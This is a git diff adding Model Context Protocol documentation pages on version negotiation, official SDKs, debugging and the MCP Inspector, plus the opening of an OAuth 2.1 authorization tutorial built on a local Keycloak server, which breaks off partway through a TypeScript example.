+* **Current**: the current protocol version, which is ready for use and may continue to
+ receive backwards compatible changes.
+* **Final**: past, complete specifications that will not be changed.
+
+The **current** protocol version is [**2025-11-25**](/specification/2025-11-25/).
+
+## Feature States
+
+Individual features of the specification may additionally be marked as
+**Deprecated** under the
+[feature lifecycle and deprecation policy](/community/feature-lifecycle):
+the feature remains part of the specification, but is scheduled for removal.
+Deprecated features document a migration path (or state that none is required)
+and remain in the specification for at least twelve months, or at least
+ninety days under the policy's
+[expedited-removal exception](/community/feature-lifecycle#expedited-removal),
+before they become eligible for removal, after which they may be **Removed**
+in a future revision.
+
+Features that are currently Deprecated are listed in the
+[deprecated features registry](/specification/2026-07-28/deprecated).
+
+## Negotiation
+
+Every request declares the protocol version it is using via the
+`io.modelcontextprotocol/protocolVersion` key in its
+[`_meta`](/specification/2026-07-28/basic/index#meta) field, and the server accepts or
+rejects each request independently. On Streamable HTTP, the same value is also carried
+in the
+[`MCP-Protocol-Version` header](/specification/2026-07-28/basic/transports/streamable-http#protocol-version-header).
+Clients and servers **MAY** support multiple protocol versions simultaneously.
+
+If the server does not support the requested version, it responds with an
+[`UnsupportedProtocolVersionError`](/specification/2026-07-28/basic/versioning#protocol-version-negotiation)
+listing the versions it does support. The client can then retry the request with a
+mutually supported version, or surface an error to the user if none exists.
+
+Clients that want to select a version up front can call
+[`server/discover`](/specification/2026-07-28/server/discover), a mandatory RPC that
+returns the server's supported protocol versions, capabilities, and identity in a
+single request. Calling it is optional: a client is free to send any request directly
+and handle a version error if one comes back.
+
+For interoperability with servers and clients that implement the
+handshake-based protocol revisions (`2025-11-25` and earlier), see
+[Backward Compatibility](/specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions).
diff --git a/content/mcp/docs/2026-07-28/sdk.md b/content/mcp/docs/2026-07-28/sdk.md
new file mode 100644
index 000000000..08df0b767
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/sdk.md
@@ -0,0 +1,51 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# SDKs
+
+> Official SDKs for building with Model Context Protocol
+
+Build MCP servers and clients using our official SDKs. SDKs are classified into tiers based on feature completeness, protocol support, and maintenance commitment. Learn more about [SDK tiers](/community/sdk-tiers).
+
+## Available SDKs
+
+| SDK | Repository | Tier |
+| :----------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | ------------------------------------------------: |
+| [TypeScript](https://ts.sdk.modelcontextprotocol.io) | [modelcontextprotocol/typescript-sdk](https://github.com/modelcontextprotocol/typescript-sdk) | Tier 1 |
+| [Python](https://py.sdk.modelcontextprotocol.io) | [modelcontextprotocol/python-sdk](https://github.com/modelcontextprotocol/python-sdk) | Tier 1 |
+| [C#](https://csharp.sdk.modelcontextprotocol.io) | [modelcontextprotocol/csharp-sdk](https://github.com/modelcontextprotocol/csharp-sdk) | Tier 1 |
+| [Go](https://go.sdk.modelcontextprotocol.io) | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) | Tier 1 |
+| [Java](https://java.sdk.modelcontextprotocol.io) | [modelcontextprotocol/java-sdk](https://github.com/modelcontextprotocol/java-sdk) | Tier 2 |
+| [Rust](https://rust.sdk.modelcontextprotocol.io) | [modelcontextprotocol/rust-sdk](https://github.com/modelcontextprotocol/rust-sdk) | Tier 2 |
+| Swift | [modelcontextprotocol/swift-sdk](https://github.com/modelcontextprotocol/swift-sdk) | Tier 3 |
+| [Ruby](https://ruby.sdk.modelcontextprotocol.io) | [modelcontextprotocol/ruby-sdk](https://github.com/modelcontextprotocol/ruby-sdk) | Tier 3 |
+| [PHP](https://php.sdk.modelcontextprotocol.io) | [modelcontextprotocol/php-sdk](https://github.com/modelcontextprotocol/php-sdk) | Tier 3 |
+| [Kotlin](https://kotlin.sdk.modelcontextprotocol.io) | [modelcontextprotocol/kotlin-sdk](https://github.com/modelcontextprotocol/kotlin-sdk) | Tier 3 |
+
+See [SDK Tiering System](/community/sdk-tiers) for details on what each tier means.
+
+## Getting Started
+
+Each SDK provides the same functionality but follows the idioms and best practices of its language. All SDKs support:
+
+* Creating MCP servers that expose tools, resources, and prompts
+* Building MCP clients that can connect to any MCP server
+* Local and remote transport protocols
+* Protocol compliance with type safety
+
+Visit the SDK page for your chosen language to find installation instructions, documentation, and examples.
+
+## Next Steps
+
+Ready to start building with MCP? Choose your path:
+
+
+
+ Learn how to create your first MCP server
+
+
+
+ Create applications that connect to MCP servers
+
+
diff --git a/content/mcp/docs/2026-07-28/tools/debugging.md b/content/mcp/docs/2026-07-28/tools/debugging.md
new file mode 100644
index 000000000..ff22818b3
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/tools/debugging.md
@@ -0,0 +1,372 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Debugging
+
+> A comprehensive guide to debugging Model Context Protocol (MCP) integrations
+
+Effective debugging is essential when developing MCP servers or integrating
+them with applications. This guide covers the debugging tools and approaches
+available in the MCP ecosystem.
+
+## Debugging tools overview
+
+MCP provides several tools for debugging at different levels:
+
+1. **[MCP Inspector](/docs/2026-07-28/tools/inspector)**: interactive, transport-agnostic
+ testing UI. Connect to stdio or Streamable HTTP servers, invoke
+ [tools](/specification/latest/server/tools),
+ [prompts](/specification/latest/server/prompts), and
+ [resources](/specification/latest/server/resources), and watch the
+ notification stream. This should be your first stop.
+2. **Server logging**: structured logs to stderr (stdio transport) or via
+ [OpenTelemetry](https://opentelemetry.io/) (all transports).
+ [Logging](/specification/2026-07-28/server/utilities/logging) over the protocol
+ (`notifications/message`) is deprecated as of protocol version `2026-07-28`.
+3. **Client developer tools**: most MCP clients expose logs and connection
+ state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
+ below for one example, or consult your client's documentation.
+
+## Implementing logging
+
+### Server-side logging
+
+When building a server that uses the local
+[stdio transport](/specification/2026-07-28/basic/transports/stdio), all messages
+logged to stderr (standard error) will be captured by the host application
+automatically.
+
+
+ Local MCP servers should not log messages to stdout (standard out), as this
+ will interfere with protocol operation.
+
+
+For servers using the
+[Streamable HTTP transport](/specification/2026-07-28/basic/transports/streamable-http),
+stderr is not captured by the client. Use your own server-side log aggregation
+or [OpenTelemetry](https://opentelemetry.io/) for logs, and standard HTTP
+tooling (curl, browser DevTools Network panel) to inspect requests and SSE
+streams.
+
+
+ The `notifications/message` mechanism below is deprecated as of protocol
+ version `2026-07-28`. It remains available during the deprecation window.
+
+
+For all [transports](/specification/latest/basic/transports), record what the
+server is doing as it runs:
+
+
+ ```python Python theme={null}
+ import logging
+
+ from mcp.server import MCPServer
+
+ logger = logging.getLogger(__name__)
+
+ mcp = MCPServer("reports")
+
+
+ @mcp.tool()
+ async def fetch_report(report_id: str) -> str:
+ """Fetch a report by id."""
+ logger.info("Fetching report %s", report_id)
+ return f"Report {report_id} is ready."
+ ```
+
+ ```typescript TypeScript theme={null}
+ await server.sendLoggingMessage({
+ level: "info",
+ data: "Server started successfully",
+ });
+ ```
+
+
+MCP defines eight
+[RFC 5424 severity levels](/specification/latest/server/utilities/logging#log-levels)
+(`debug` through `emergency`). Clients opt in to log messages per request by
+setting the
+[`io.modelcontextprotocol/logLevel`](/specification/2026-07-28/server/utilities/logging#per-request-log-level)
+field in the request's `_meta`. Servers must not send `notifications/message`
+for requests that omit this field.
+
+Important events to log:
+
+* Startup steps
+* Resource access
+* Tool execution
+* Error conditions
+* Performance metrics
+
+## Common issues
+
+The examples below use Claude Desktop's
+[`claude_desktop_config.json`](/docs/2026-07-28/develop/connect-local-servers); the same
+principles apply to any stdio-based MCP client.
+
+### Working directory
+
+When an MCP client launches a stdio server:
+
+* The working directory for servers launched via the client's config may be
+ undefined (like `/` on macOS) since the client could be started from
+ anywhere
+* Always use absolute paths in your configuration and `.env` files to ensure
+ reliable operation
+* For testing servers directly via command line, the working directory will be
+ where you run the command
+
+For example in `claude_desktop_config.json`, use:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/data"
+ ]
+ }
+ }
+}
+```
+
+Instead of relative paths like `./data`
+
+### Environment variables
+
+MCP servers launched over stdio inherit only a limited subset of environment
+variables automatically (the exact set is platform-dependent).
+
+To override the default variables or provide your own, you can specify an
+`env` key in `claude_desktop_config.json`:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "myserver": {
+ "command": "mcp-server-myapp",
+ "env": {
+ "MYAPP_API_KEY": "some_key"
+ }
+ }
+ }
+}
+```
+
+### Server startup
+
+Common startup problems:
+
+1. **Path Issues**
+ * Incorrect server executable path
+ * Missing required files
+ * Permission problems
+ * Try using an absolute path for `command`
+
+2. **Configuration Errors**
+ * Invalid JSON syntax
+ * Missing required fields
+ * Type mismatches
+
+3. **Environment Problems**
+ * Missing environment variables
+ * Incorrect variable values
+ * Permission restrictions
+
+### Connection problems
+
+When servers fail to connect:
+
+1. Check client logs
+2. Verify server process is running
+3. Test standalone with [Inspector](/docs/2026-07-28/tools/inspector)
+4. Verify
+ [protocol compatibility](/docs/2026-07-28/learn/versioning#negotiation): call
+ [`server/discover`](/specification/2026-07-28/server/discover) to see which
+ protocol versions the server supports. An
+ `UnsupportedProtocolVersionError` (`-32022`) lists the server's supported
+ versions in its `data` field
+5. Check the
+ [per-request `_meta` fields](/specification/2026-07-28/basic/index#meta):
+ every request must carry `io.modelcontextprotocol/protocolVersion` and
+ `io.modelcontextprotocol/clientCapabilities`, and clients should also
+ include `io.modelcontextprotocol/clientInfo`. A request missing either
+ required field is rejected with error `-32602` (Invalid params), the same
+ code returned for many other malformed inputs. If the server needs a
+ capability the request's `clientCapabilities` did not declare, such as
+ [elicitation](/specification/2026-07-28/client/elicitation), it returns a
+ `MissingRequiredClientCapabilityError` (`-32021`) naming the missing
+ capabilities. Inspect the request's `_meta` and the
+ [`server/discover`](/specification/2026-07-28/server/discover) response to
+ verify both sides declared what you expect
+
+## Debugging in Claude Desktop
+
+Claude Desktop is one of many MCP clients. It is available on
+macOS and Windows.
+
+### Checking server status
+
+Click the "Add files, connectors, and more" plus icon in the chat input, then
+hover over the **Connectors** menu to see connected servers and available
+tools.
+
+
+
+### Viewing logs
+
+Log files are written to:
+
+* macOS: `~/Library/Logs/Claude`
+* Windows: `%APPDATA%\Claude\logs`
+
+
+ ```bash macOS theme={null}
+ tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "$env:AppData\Claude\logs\mcp*.log"
+ ```
+
+
+The logs capture:
+
+* Server connection events
+* Configuration issues
+* Runtime errors
+* Message exchanges
+
+### Using Chrome DevTools
+
+Access Chrome's developer tools inside Claude Desktop to investigate
+client-side errors:
+
+1. Create a `developer_settings.json` file with `allowDevTools` set to true:
+
+
+ ```bash macOS theme={null}
+ echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
+ ```
+
+ ```powershell Windows theme={null}
+ '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
+ ```
+
+
+2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
+
+Note: You'll see two DevTools windows:
+
+* Main content window
+* App title bar window
+
+Use the Console panel to inspect client-side errors.
+
+Use the Network panel to inspect:
+
+* Message payloads
+* Connection timing
+
+## Debugging workflow
+
+### Development cycle
+
+1. Initial Development
+ * Use [Inspector](/docs/2026-07-28/tools/inspector) for basic testing
+ * Implement core functionality
+ * Add logging points
+
+2. Integration Testing
+ * Test in your target MCP client
+ * Monitor logs
+ * Check error handling
+
+### Testing changes
+
+To test changes efficiently:
+
+* **Configuration changes**: Restart the MCP client
+* **Server code changes**: Restart the client (for Claude Desktop, fully quit
+ and reopen; closing the window is not enough)
+* **Quick iteration**: Use [Inspector](/docs/2026-07-28/tools/inspector) during
+ development
+
+## Best practices
+
+### Logging strategy
+
+1. **Structured Logging**
+ * Use consistent formats
+ * Include context
+ * Add timestamps
+ * Track request IDs
+
+2. **Error Handling**
+ * Log stack traces
+ * Include error context
+ * Track error patterns
+ * Monitor recovery
+
+3. **Performance Tracking**
+ * Log operation timing
+ * Monitor resource usage
+ * Track message sizes
+ * Measure latency
+
+### Security considerations
+
+When debugging:
+
+1. **Sensitive Data**
+ * Sanitize logs
+ * Protect credentials
+ * Mask personal information
+
+2. **Access Control**
+ * Verify permissions
+ * Check authentication
+ * Monitor access patterns
+
+For a full treatment of MCP attack vectors and mitigations, see
+[Security Best Practices](/docs/2026-07-28/tutorials/security/security_best_practices).
+
+## Getting help
+
+When encountering issues:
+
+1. **First Steps**
+ * Check server logs
+ * Test with [Inspector](/docs/2026-07-28/tools/inspector)
+ * Review configuration
+ * Verify environment
+
+2. **Support Channels**
+ * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
+ * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
+
+3. **Providing Information**
+ * Log excerpts
+ * Configuration files
+ * Steps to reproduce
+ * Environment details
+
+## Next steps
+
+
+
+ Learn to use the MCP Inspector
+
+
+
+ Walk through building a server from scratch
+
+
+
+ Full claude\_desktop\_config.json reference and troubleshooting
+
+
diff --git a/content/mcp/docs/2026-07-28/tools/inspector.md b/content/mcp/docs/2026-07-28/tools/inspector.md
new file mode 100644
index 000000000..ebd8808d0
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/tools/inspector.md
@@ -0,0 +1,144 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# MCP Inspector
+
+> In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/2026-07-28/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities.
+
+## Getting started
+
+### Installation and basic usage
+
+The Inspector runs directly through `npx` without requiring installation:
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+#### Inspecting servers from npm or PyPI
+
+A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org).
+
+
+
+ ```bash theme={null}
+ npx -y @modelcontextprotocol/inspector npx
+ # For example
+ npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector uvx
+ # For example
+ npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
+ ```
+
+
+
+#### Inspecting locally developed servers
+
+To inspect servers locally developed or downloaded as a repository, the most common
+way is:
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector node path/to/server/index.js args...
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector \
+ uv \
+ --directory path/to/server \
+ run \
+ package-name \
+ args...
+ ```
+
+
+
+Please carefully read any attached README for the most accurate instructions.
+
+## Feature overview
+
+
+
+
+
+The Inspector provides several features for interacting with your MCP server:
+
+### Server connection pane
+
+* Allows selecting the [transport](/specification/latest/basic/transports) for connecting to the server
+* For local servers, supports customizing the command-line arguments and environment
+
+### Resources tab
+
+* Lists all available resources
+* Shows resource metadata (MIME types, descriptions)
+* Allows resource content inspection
+* Supports subscription testing
+
+### Prompts tab
+
+* Displays available prompt templates
+* Shows prompt arguments and descriptions
+* Enables prompt testing with custom arguments
+* Previews generated messages
+
+### Tools tab
+
+* Lists available tools
+* Shows tool schemas and descriptions
+* Enables tool testing with custom inputs
+* Displays tool execution results
+
+### Notifications pane
+
+* Presents all logs recorded from the server
+* Shows notifications received from the server
+
+## Best practices
+
+### Development workflow
+
+1. Start Development
+ * Launch Inspector with your server
+ * Verify basic connectivity
+ * Check capability negotiation
+
+2. Iterative testing
+ * Make server changes
+ * Rebuild the server
+ * Reconnect the Inspector
+ * Test affected features
+ * Monitor messages
+
+3. Test edge cases
+ * Invalid inputs
+ * Missing prompt arguments
+ * Concurrent operations
+ * Verify error handling and error responses
+
+## Next steps
+
+
+
+ Check out the MCP Inspector source code
+
+
+
+ Learn about broader debugging strategies
+
+
diff --git a/content/mcp/docs/2026-07-28/tutorials/security/authorization.md b/content/mcp/docs/2026-07-28/tutorials/security/authorization.md
new file mode 100644
index 000000000..4644057de
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/tutorials/security/authorization.md
@@ -0,0 +1,1102 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding Authorization in MCP
+
+> Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
+
+Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
+
+MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/latest/basic/authorization).
+
+## When Should You Use Authorization?
+
+While authorization for MCP servers is **optional**, it is strongly recommended when:
+
+* Your server accesses user-specific data (emails, documents, databases)
+* You need to audit who performed which actions
+* Your server grants access to its APIs that require user consent
+* You're building for enterprise environments with strict access controls
+* You want to implement rate limiting or usage tracking per user
+
+
+ **Authorization for Local MCP Servers**
+
+ For MCP servers using the [STDIO transport](/specification/latest/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
+
+ OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
+
+
+## The Authorization Flow: Step by Step
+
+Let's walk through what happens when a client wants to connect to your protected MCP server:
+
+
+
+ When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
+
+ ```http theme={null}
+ HTTP/1.1 401 Unauthorized
+ WWW-Authenticate: Bearer realm="mcp",
+ resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
+ ```
+
+ This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
+
+
+
+ With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
+
+ ```json theme={null}
+ {
+ "resource": "https://your-server.com/mcp",
+ "authorization_servers": ["https://auth.your-server.com"],
+ "scopes_supported": ["mcp:tools", "mcp:resources"]
+ }
+ ```
+
+ You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
+
+
+
+ Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
+
+ With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
+ and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
+
+ ```json theme={null}
+ {
+ "issuer": "https://auth.your-server.com",
+ "authorization_endpoint": "https://auth.your-server.com/authorize",
+ "token_endpoint": "https://auth.your-server.com/token",
+ "registration_endpoint": "https://auth.your-server.com/register"
+ }
+ ```
+
+
+
+ With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
+
+ First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
+
+ Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
+
+ ```json theme={null}
+ {
+ "client_name": "My MCP Client",
+ "redirect_uris": ["http://localhost:3000/callback"],
+ "grant_types": ["authorization_code", "refresh_token"],
+ "response_types": ["code"]
+ }
+ ```
+
+ If the registration succeeds, the authorization server will return a JSON blob with client registration information.
+
+
+ **No DCR or Pre-Registration**
+
+ In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
+
+
+
+
+ The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
+
+ ```json theme={null}
+ {
+ "access_token": "eyJhbGciOiJSUzI1NiIs...",
+ "refresh_token": "def502...",
+ "token_type": "Bearer",
+ "expires_in": 3600
+ }
+ ```
+
+ The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
+
+
+
+ Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
+
+ ```http theme={null}
+ GET /mcp HTTP/1.1
+ Host: your-server.com
+ Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
+ ```
+
+ The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
+
+
+
+## Implementation Example
+
+To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
+
+Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
+
+### Keycloak Setup
+
+From your terminal application, run the following command to start the Keycloak container:
+
+```bash theme={null}
+docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
+```
+
+This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
+
+
+ **Not for Production**
+
+ The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
+
+
+You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
+
+
+
+
+
+When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
+
+```http theme={null}
+http://localhost:8080/realms/master/.well-known/openid-configuration
+```
+
+We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
+
+Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
+
+
+
+
+
+After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
+
+Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
+
+To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
+
+
+
+
+
+For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
+
+
+ **Not for Production**
+
+ The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
+
+
+Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
+
+
+
+
+
+
+ **Getting the Host**
+
+ If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
+
+
+Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
+
+1. Go to **Clients**.
+2. Click **Create client**.
+3. Give your client a unique **Client ID** and click **Next**.
+4. Enable **Client authentication** and click **Next**.
+5. Click **Save**.
+
+Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
+
+When you open the client details, go to **Credentials** and take note of the **Client Secret**.
+
+
+
+
+
+
+ **Handling Secrets**
+
+ Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
+
+
+With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
+
+```text theme={null}
+eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
+```
+
+Decoded, it will look like this:
+
+```json theme={null}
+{
+ "alg": "RS256",
+ "typ": "JWT",
+ "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
+}.{
+ "exp": 1755540817,
+ "iat": 1755540757,
+ "auth_time": 1755538888,
+ "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
+ "iss": "http://localhost:8080/realms/master",
+ "aud": "http://localhost:3000",
+ "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
+ "typ": "Bearer",
+ "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
+ "sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
+ "scope": "mcp:tools"
+}.[Signature]
+```
+
+
+ **Embedded Audience**
+
+ Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
+
+
+### MCP Server Setup
+
+We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/2026-07-28/sdk).
+
+For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
+
+
+
+ You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
+
+ Prior to running the code below, ensure that you have a `.env` file with the following content:
+
+ ```env theme={null}
+ # Server host/port
+ HOST=localhost
+ PORT=3000
+
+ # Auth server location
+ AUTH_HOST=localhost
+ AUTH_PORT=8080
+ AUTH_REALM=master
+
+ # Keycloak OAuth client credentials
+ OAUTH_CLIENT_ID=
+ OAUTH_CLIENT_SECRET=
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
+
+ In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
+
+ ```typescript theme={null}
+ import "dotenv/config";
+ import express from "express";
+ import { randomUUID } from "node:crypto";
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
+ import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
+ import { z } from "zod";
+ import cors from "cors";
+ import {
+ mcpAuthMetadataRouter,
+ getOAuthProtectedResourceMetadataUrl,
+ } from "@modelcontextprotocol/sdk/server/auth/router.js";
+ import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
